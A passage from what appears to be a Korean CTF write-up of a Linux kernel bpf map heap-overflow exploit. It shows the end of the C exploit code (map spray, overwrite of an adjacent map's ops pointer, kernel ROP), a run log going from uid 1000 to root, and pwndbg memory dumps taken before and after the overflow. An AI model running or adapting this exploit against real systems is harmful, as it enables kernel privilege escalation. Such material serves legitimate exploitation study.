*(uint32_t*)0x200011d4 = -1;
*(uint32_t*)0x200011d8 = 0;
*(uint8_t*)0x200011dc = 0;
*(uint8_t*)0x200011dd = 0;
*(uint8_t*)0x200011de = 0;
*(uint8_t*)0x200011df = 0;
*(uint8_t*)0x200011e0 = 0;
*(uint8_t*)0x200011e1 = 0;
*(uint8_t*)0x200011e2 = 0;
*(uint8_t*)0x200011e3 = 0;
*(uint8_t*)0x200011e4 = 0;
*(uint8_t*)0x200011e5 = 0;
*(uint8_t*)0x200011e6 = 0;
*(uint8_t*)0x200011e7 = 0;
*(uint8_t*)0x200011e8 = 0;
*(uint8_t*)0x200011e9 = 0;
*(uint8_t*)0x200011ea = 0;
*(uint8_t*)0x200011eb = 0;
save_state();
printf("user_cs:%llx user_ss: %llx\n",user_cs,user_ss);
prepare_krop();
res = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
if (res != -1)
r[0] = res;
spray();

*(uint32_t*)0x200000c0 = r[0];
*(uint64_t*)0x200000c8 = 0;
*(uint64_t*)0x200000d0 = 0x20000140;
*(uint64_t*)0x200000d8 = 2;
uint64_t* ptr = (uint64_t*)0x20000140;
ptr[0]=1;
ptr[1]=2;
ptr[2]=3;
ptr[3]=4;
ptr[4]=5;
ptr[5]=6;
ptr[6]=0xa000000000;
ptr[7]=8;
syscall(__NR_bpf, 2, 0x200000c0, 0x20);
int i;
*(unsigned long*)(fakestack+0x7000) = 0;
*(unsigned long*)(fakestack+0x6000) = 0;
*(unsigned long*)(fakestack+0x5000) = 0;
for(i=0;i<SPRAY_NUMBER;i++){
close(victim[i]);
}
//pause();
return 0;
}
1
2
3
4
5
6
7
8
9
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ ./exp
user_cs:33 user_ss: 2b
rop_payload_initialized
SIGSEGV found
get shell again
uid=0(root) gid=0(root)
/ #

debugging

bpf 맵을 할당하게 되는 bpf_map_area_alloc() 함수에 break를 걸고 리턴 주소를 확인한 뒤, heap overflow 전 후의 해당 주소의 데이터를 비교해본 결과입니다.

첫 번째(fd 3) bpf 맵의 주소가 0xffff88807f510300 인 상황입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> x/100gx 0xffff88807f510300
0xffff88807f510300: 0xffffffff82029ba0 0x0000000000000000 // fd = 3
0xffff88807f510310: 0xffff888079b06f00 0x0000000000000017
0xffff88807f510320: 0xffffffff00000040 0x0000000100000000
0xffff88807f510330: 0xffffffff00000010 0x0000000000000000
0xffff88807f510340: 0x0000000000000000 0x0000000000000000
0xffff88807f510350: 0x0000000000000000 0x0000000000000000
0xffff88807f510360: 0x0000000000000000 0x0000000000000000
0xffff88807f510370: 0x0000000000000000 0x0000000000000000
0xffff88807f510380: 0xffff88807fad8b00 0x0000000100000001
0xffff88807f510390: 0x0000000000000000 0x0000000000000000
0xffff88807f5103a0: 0x0000000000000000 0x0000000000000000
0xffff88807f5103b0: 0x0000000000000000 0x0000000000000000
0xffff88807f5103c0: 0x0000000000000000 0x0000000000000000
0xffff88807f5103d0: 0x0000000000000000 0x0000000000000000
0xffff88807f5103e0: 0x0000000000000000 0x0000000000000000
0xffff88807f5103f0: 0x0000000000000000 0x0000000000000000
0xffff88807f510400: 0xffffffff82029ba0 0x0000000000000000 // fd = 7
0xffff88807f510410: 0xffff888079b06f68 0x0000000000000017
0xffff88807f510420: 0xffffffff00000040 0x0000000100000000
0xffff88807f510430: 0xffffffff00000014 0x0000000000000000
0xffff88807f510440: 0x0000000000000000 0x0000000000000000
0xffff88807f510450: 0x0000000000000000 0x0000000000000000
0xffff88807f510460: 0x0000000000000000 0x0000000000000000
....

heap overflow가 일어나기 전의 데이터 상황입니다. 첫 번째(fd 3) 맵과 인접하게 할당된 fd 7 맵의 첫 번째 멤버가 0xffffffff82029ba0 인 것을 확인할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> x/100gx 0xffff88807f510300
0xffff88807f510300: 0xffff88807f510500 0x0000000000000000 // fd = 3
0xffff88807f510310: 0x0000000000000000 0x0000000000000017
0xffff88807f510320: 0xffffffff00000040 0x0000000100000000
0xffff88807f510330: 0xffffffff00000000 0x0000000000000000
0xffff88807f510340: 0x0000000000000000 0x0000000000000000
0xffff88807f510350: 0x0000000000000000 0x0000000000000000
0xffff88807f510360: 0x0000000000000000 0x0000000000000000
0xffff88807f510370: 0x0000000000000000 0x0000000000000000
0xffff88807f510380: 0xffff88807fad8b00 0x0000000000000000
0xffff88807f510390: 0x0000000000000000 0xffff88807f510398
0xffff88807f5103a0: 0xffff88807f510398 0xffffffff8119ac50
0xffff88807f5103b0: 0x0000000000000000 0x0000000000000000
0xffff88807f5103c0: 0x0000000000000000 0x0000000000000000
0xffff88807f5103d0: 0x0000000000000001 0x0000000000000002
0xffff88807f5103e0: 0x0000000000000003 0x0000000000000004
0xffff88807f5103f0: 0x0000000000000005 0x0000000000000006
0xffff88807f510400: 0x000000a000000000 0x0000000000000008 // fd = 7
0xffff88807f510410: 0xffff888079b06f68 0x0000000000000017
0xffff88807f510420: 0xffffffff00000040 0x0000000100000000
0xffff88807f510430: 0xffffffff00000014 0x0000000000000000
0xffff88807f510440: 0x0000000000000000 0x0000000000000000
0xffff88807f510450: 0x0000000000000000 0x0000000000000000
0xffff88807f510460: 0x0000000000000000 0x0000000000000000
0xffff88807f510470: 0x0000000000000000 0x0000000000000000
....

heap overflow가 일어난 후의 데이터 상황입니다. fd 7 맵의 첫 번째 멤버가 fakestack 주소인 0x000000a000000000 으로 덮인 것을 확인할 수 있습니다.


reference